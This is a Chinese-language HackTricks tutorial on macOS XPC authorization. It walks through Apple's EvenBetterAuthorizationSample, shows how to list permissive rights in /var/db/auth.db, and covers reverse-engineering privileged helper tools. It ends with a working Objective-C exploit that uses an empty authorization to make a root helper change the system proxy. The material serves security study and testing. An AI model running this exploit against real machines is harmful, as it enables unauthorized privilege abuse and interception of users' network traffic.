# macOS XPC 授权
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?你想在 HackTricks 中**宣传你的公司**吗?或者你想获得**PEASS 的最新版本或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
## XPC 授权 苹果还提出了另一种方法来验证连接的进程是否具有**调用公开的 XPC 方法的权限**。 当应用程序需要**以特权用户身份执行操作**时,通常不会将应用程序作为特权用户运行,而是将 HelperTool 作为 XPC 服务以 root 用户身份安装,应用程序可以从中调用以执行这些操作。但是,调用服务的应用程序应具有足够的授权。 ### ShouldAcceptNewConnection 总是 YES 在 [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) 中可以找到一个示例。在 `App/AppDelegate.m` 中,它尝试**连接**到**HelperTool**。而在 `HelperTool/HelperTool.m` 中,函数**`shouldAcceptNewConnection`** **不会检查**之前提到的任何要求。它将始终返回 YES: ```objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection // Called by our XPC listener when a new connection comes in. We configure the connection // with our protocol and ourselves as the main object. { assert(listener == self.listener); #pragma unused(listener) assert(newConnection != nil); newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)]; newConnection.exportedObject = self; [newConnection resume]; return YES; } ``` 有关如何正确配置此检查的更多信息,请参阅: {% content-ref url="macos-xpc-connecting-process-check.md" %} [macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md) {% endcontent-ref %} ### 应用程序权限 然而,当调用 HelperTool 的方法时,会进行一些授权操作。 `App/AppDelegate.m` 中的函数 `applicationDidFinishLaunching` 在应用程序启动后会创建一个空的授权引用。这应该总是有效的。\ 然后,它将尝试通过调用 `setupAuthorizationRights` 向该授权引用添加一些权限: ```objectivec - (void)applicationDidFinishLaunching:(NSNotification *)note { [...] err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef); if (err == errAuthorizationSuccess) { err = AuthorizationMakeExternalForm(self->_authRef, &extForm); } if (err == errAuthorizationSuccess) { self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)]; } assert(err == errAuthorizationSuccess); // If we successfully connected to Authorization Services, add definitions for our default // rights (unless they're already in the database). if (self->_authRef) { [Common setupAuthorizationRights:self->_authRef]; } [self.window makeKeyAndOrderFront:self]; } ``` `Common/Common.m` 中的 `setupAuthorizationRights` 函数将应用程序的权限存储在授权数据库 `/var/db/auth.db` 中。请注意,它只会添加尚未存在于数据库中的权限: ```objectivec + (void)setupAuthorizationRights:(AuthorizationRef)authRef // See comment in header. { assert(authRef != NULL); [Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) { OSStatus blockErr; // First get the right. If we get back errAuthorizationDenied that means there's // no current definition, so we add our default one. blockErr = AuthorizationRightGet([authRightName UTF8String], NULL); if (blockErr == errAuthorizationDenied) { blockErr = AuthorizationRightSet( authRef, // authRef [authRightName UTF8String], // rightName (__bridge CFTypeRef) authRightDefault, // rightDefinition (__bridge CFStringRef) authRightDesc, // descriptionKey NULL, // bundle (NULL implies main bundle) CFSTR("Common") // localeTableName ); assert(blockErr == errAuthorizationSuccess); } else { // A right already exists (err == noErr) or any other error occurs, we // assume that it has been set up in advance by the system administrator or // this is the second time we've run. Either way, there's nothing more for // us to do. } }]; } ``` 函数`enumerateRightsUsingBlock`用于获取应用程序的权限,这些权限在`commandInfo`中定义: ```objectivec static NSString * kCommandKeyAuthRightName = @"authRightName"; static NSString * kCommandKeyAuthRightDefault = @"authRightDefault"; static NSString * kCommandKeyAuthRightDesc = @"authRightDescription"; + (NSDictionary *)commandInfo { static dispatch_once_t sOnceToken; static NSDictionary * sCommandInfo; dispatch_once(&sOnceToken, ^{ sCommandInfo = @{ NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{ kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey", kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow, kCommandKeyAuthRightDesc : NSLocalizedString( @"EBAS is trying to read its license key.", @"prompt shown when user is required to authorize to read the license key" ) }, NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{ kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey", kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin, kCommandKeyAuthRightDesc : NSLocalizedString( @"EBAS is trying to write its license key.", @"prompt shown when user is required to authorize to write the license key" ) }, NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{ kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService", kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow, kCommandKeyAuthRightDesc : NSLocalizedString( @"EBAS is trying to start its web service.", @"prompt shown when user is required to authorize to start the web service" ) } }; }); return sCommandInfo; } + (NSString *)authorizationRightForCommand:(SEL)command // See comment in header. { return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName]; } + (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block // Calls the supplied block with information about each known authorization right.. { [self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) { #pragma unused(key) #pragma unused(stop) NSDictionary * commandDict; NSString * authRightName; id authRightDefault; NSString * authRightDesc; // If any of the following asserts fire it's likely that you've got a bug // in sCommandInfo. commandDict = (NSDictionary *) obj; assert([commandDict isKindOfClass:[NSDictionary class]]); authRightName = [commandDict objectForKey:kCommandKeyAuthRightName]; assert([authRightName isKindOfClass:[NSString class]]); authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault]; assert(authRightDefault != nil); authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc]; assert([authRightDesc isKindOfClass:[NSString class]]); block(authRightName, authRightDefault, authRightDesc); }]; } ``` 这意味着在此过程结束时,`commandInfo` 中声明的权限将存储在 `/var/db/auth.db` 中。请注意,您可以在其中找到**每个需要身份验证的方法**、**权限名称**和**`kCommandKeyAuthRightDefault`**。后者**指示谁可以获得此权限**。 有不同的范围来指示谁可以访问权限。其中一些在 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) 中定义(您可以在[这里找到所有内容](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
名称描述
kAuthorizationRuleClassAllowallow任何人
kAuthorizationRuleClassDenydeny无人
kAuthorizationRuleIsAdminis-admin当前用户需要是管理员(在管理员组内)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-owner要求用户进行身份验证。
kAuthorizationRuleAuthenticateAsAdminauthenticate-admin要求用户进行身份验证。他需要是管理员(在管理员组内)
kAuthorizationRightRulerule指定规则
kAuthorizationCommentcomment在权限上指定一些额外的注释
### 权限验证 在 `HelperTool/HelperTool.m` 中,函数**`readLicenseKeyAuthorization`**检查调用者是否被授权**执行此方法**,调用函数**`checkAuthorization`**。此函数将检查调用进程发送的**authData**是否具有**正确的格式**,然后将检查**获取权限所需的条件**以调用特定方法。如果一切顺利,**返回的`error`将为`nil`**: ```objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command { [...] // First check that authData looks reasonable. error = nil; if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) { error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil]; } // Create an authorization ref from that the external form data contained within. if (error == nil) { err = AuthorizationCreateFromExternalForm([authData bytes], &authRef); // Authorize the right associated with the command. if (err == errAuthorizationSuccess) { AuthorizationItem oneRight = { NULL, 0, NULL, 0 }; AuthorizationRights rights = { 1, &oneRight }; oneRight.name = [[Common authorizationRightForCommand:command] UTF8String]; assert(oneRight.name != NULL); err = AuthorizationCopyRights( authRef, &rights, NULL, kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, NULL ); } if (err != errAuthorizationSuccess) { error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil]; } } if (authRef != NULL) { junk = AuthorizationFree(authRef, 0); assert(junk == errAuthorizationSuccess); } return error; } ``` 请注意,要检查调用该方法的权限,函数`authorizationRightForCommand`将仅检查先前的注释对象`commandInfo`。然后,它将调用`AuthorizationCopyRights`来检查是否有权调用该函数(请注意,标志允许与用户交互)。 在这种情况下,要调用函数`readLicenseKeyAuthorization`,`kCommandKeyAuthRightDefault`被定义为`@kAuthorizationRuleClassAllow`。因此,**任何人都可以调用它**。 ### 数据库信息 提到这些信息存储在`/var/db/auth.db`中。您可以使用以下命令列出所有存储的规则: ```sql sudo sqlite3 /var/db/auth.db SELECT name FROM rules; SELECT name FROM rules WHERE name LIKE '%safari%'; ``` 然后,您可以通过以下方式查看谁可以访问权限: ```bash security authorizationdb read com.apple.safaridriver.allow ``` ### 宽松的权限 你可以在[这里](https://www.dssw.co.uk/reference/authorization-rights/)找到**所有权限配置**,但是不需要用户交互的组合是: 1. **'authenticate-user': 'false'** * 这是最直接的键。如果设置为`false`,表示用户无需提供身份验证即可获得此权限。 * 这与下面的两个键之一结合使用,或者指示用户必须属于的组。 2. **'allow-root': 'true'** * 如果用户作为root用户(具有提升的权限)操作,并且此键设置为`true`,则root用户可能无需进一步身份验证即可获得此权限。然而,通常情况下,要达到root用户状态已经需要进行身份验证,所以对于大多数用户来说,这不是一个“无需身份验证”的情况。 3. **'session-owner': 'true'** * 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,则可能绕过其他身份验证。 4. **'shared': 'true'** * 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)结合使用。 你可以使用[**这个脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)获取有趣的权限: ```bash Rights with 'authenticate-user': 'false': is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) Rights with 'allow-root': 'true': com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard Rights with 'session-owner': 'true': authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui ``` ## 反向授权 ### 检查是否使用EvenBetterAuthorization 如果你找到了函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用之前提到的授权模式:
如果这个函数调用了`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,那么它正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。 检查**`/var/db/auth.db`**以查看是否可以在没有用户交互的情况下获得调用某些特权操作的权限。 ### 协议通信 然后,您需要找到协议模式,以便能够与XPC服务建立通信。 函数**`shouldAcceptNewConnection`**指示正在导出的协议:
在这种情况下,我们与EvenBetterAuthorizationSample中的情况相同,[**查看此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。 知道了使用的协议名称,可以使用以下命令**转储其头文件定义**: ```bash class-dump /Library/PrivilegedHelperTools/com.example.HelperTool [...] @protocol HelperToolProtocol - (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3; - (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3; - (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5; - (void)getVersionWithReply:(void (^)(NSString *))arg1; - (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1; @end [...] ``` 最后,我们只需要知道**暴露的 Mach 服务的名称**,以便与其建立通信。有几种方法可以找到它: * 在**`[HelperTool init]`**中,您可以看到正在使用的 Mach 服务:
* 在 launchd plist 中: ```xml cat /Library/LaunchDaemons/com.example.HelperTool.plist [...] MachServices com.example.HelperTool [...] ``` ### 漏洞示例 在这个示例中创建了以下内容: * 使用函数定义协议 * 创建一个空的授权用于请求访问权限 * 连接到XPC服务 * 如果连接成功,则调用该函数 ```objectivec // gcc -framework Foundation -framework Security expl.m -o expl #import #import // Define a unique service name for the XPC helper static NSString* XPCServiceName = @"com.example.XPCHelper"; // Define the protocol for the helper tool @protocol XPCHelperProtocol - (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback; - (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback; - (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback; - (void)fetchVersionWithReply:(void (^)(NSString *))callback; - (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback; @end int main(void) { NSData *authData; OSStatus status; AuthorizationExternalForm authForm; AuthorizationRef authReference = {0}; NSString *proxyAddress = @"127.0.0.1"; NSString *proxyPort = @"4444"; Boolean isProxyEnabled = true; // Create an empty authorization reference status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference); const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman); NSLog(@"OSStatus: %s", errorMsg); // Convert the authorization reference to an external form if (status == errAuthorizationSuccess) { status = AuthorizationMakeExternalForm(authReference, &authForm); errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman); NSLog(@"OSStatus: %s", errorMsg); } // Convert the external form to NSData for transmission if (status == errAuthorizationSuccess) { authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)]; errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman); NSLog(@"OSStatus: %s", errorMsg); } // Ensure the authorization was successful assert(status == errAuthorizationSuccess); // Establish an XPC connection NSString *serviceName = XPCServiceName; NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000]; NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)]; [xpcConnection setRemoteObjectInterface:xpcInterface]; [xpcConnection resume]; // Handle errors for the XPC connection id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) { NSLog(@"[-] Connection error"); NSLog(@"[-] Error: %@", error); }]; // Log the remote proxy and connection objects NSLog(@"Remote Proxy: %@", remoteProxy); NSLog(@"XPC Connection: %@", xpcConnection); // Use the legacy method to configure the proxy [remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) { NSLog(@"Response: %@", error); }]; // Allow some time for the operation to complete [NSThread sleepForTimeInterval:10.0f]; NSLog(@"Finished!"); } ``` ## 参考资料 * [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**